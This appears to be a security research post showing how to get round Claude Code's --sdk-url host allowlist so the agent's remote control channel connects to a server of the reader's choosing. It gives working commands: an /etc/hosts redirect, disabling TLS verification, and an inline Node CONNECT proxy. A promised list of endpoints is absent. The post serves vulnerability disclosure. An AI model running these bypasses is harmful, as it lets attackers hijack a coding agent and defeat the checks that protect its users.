All Your Claude Are Belong To Us - Redux

A few weeks back we published "All Your Claude Are Belong To Us: Reversing Claude Code's Remote Control Protocol". tl;dr: there was an undocumented --sdk-url flag that let you point Claude Code at any server you wanted. Anthropic mitigated that. Sort of.

What changed

Newer builds of Claude Code now check --sdk-url against a hardcoded list of Anthropic domains. TLS is required too. Point it at an arbitrary server and it stops immediately:

$ claude --sdk-url ws://localhost:8586
Error: --sdk-url rejected: host "localhost" is not an approved Anthropic endpoint.
This flag is reserved for Remote Control worker processes connecting to Anthropic's backend.

As of early May 2026, these are the endpoints that pass the check:

(An aside: FedStart is Palantir's program for getting commercial software into government environments - Anthropic joined it in 2025. Seeing those hosts next to the regular API and staging hosts suggests the remote-control channel reaches into FedStart deployments, or at least rides the same transport layer.)

Same trick, new hoop

The allowlist lives in the client, so it is not much of a boundary. If you are already on the box, you may be able to control DNS resolution. Unfortunately this usually requires elevation, but that may or may not be a constraint. Just point an approved hostname at your own IP. The staging and dev endpoints are convenient for this because I imagine they are unlikely to break anyone's normal Claude workflow.

echo "127.0.0.1 beacon.claude-ai.staging.ant.dev" >> /etc/hosts

You can also neuter the check with dynamic patching (LD_PRELOAD, hooked DLLs, etc.). We skipped it because there are simpler options, but it works. Your server also has to present a certificate that Claude Code will accept. The lazy path is still disabling Node's TLS verification:

NODE_TLS_REJECT_UNAUTHORIZED=0 \
  claude --sdk-url https://beacon.claude-ai.staging.ant.dev:8587

We have already updated Praxis to serve TLS on the Claude Remote Control endpoints it exposes.

No root, no problem: use a proxy

A much simpler approach than DNS redirection or injecting code is to run a tiny local HTTP CONNECT proxy. Claude Code respects the standard HTTP_PROXY environment variable even for WSS connections. When it sees the proxy, it sends a CONNECT beacon.claude-ai.staging.ant.dev:8586 request rather than opening a raw TCP socket. Our proxy looks at the target, sees the approved hostname, and connects to 127.0.0.1:8586 instead.

Run it inline:

node -e 'const L=31337,H="beacon.claude-ai.staging.ant.dev",T="127.0.0.1",P="8586",n=require("net"),h=require("http"),e=()=>{};h.createServer((q,r)=>r.writeHead(403).end()).on("connect",(q,c,x)=>{c.on("error",e);const u=new URL("http://"+q.url),d=u.hostname==H&&u.port==P?T:u.hostname,s=n.connect(+u.port,d,()=>{c.write("HTTP/1.1 200 Connection Established\r\n\r\n");s.write(x);s.pipe(c);c.pipe(s)});s.on("error",e)}).listen(L,"127.0.0.1")' &

HTTP_PROXY=http://127.0.0.1:31337 \
HTTPS_PROXY=http://127.0.0.1:31337 \
NODE_TLS_REJECT_UNAUTHORIZED=0 \
  claude --sdk-url wss://beacon.claude-ai.staging.ant.dev:8586

The proxy is just a blind TCP tunnel - it does not terminate TLS. Claude still negotiates WSS through the tunnel; NODE_TLS_REJECT_UNAUTHORIZED=0 disables Node's TLS verification so your local server can present any certificate. The proxy itself needs no keys, no openssl, no certificate management at all.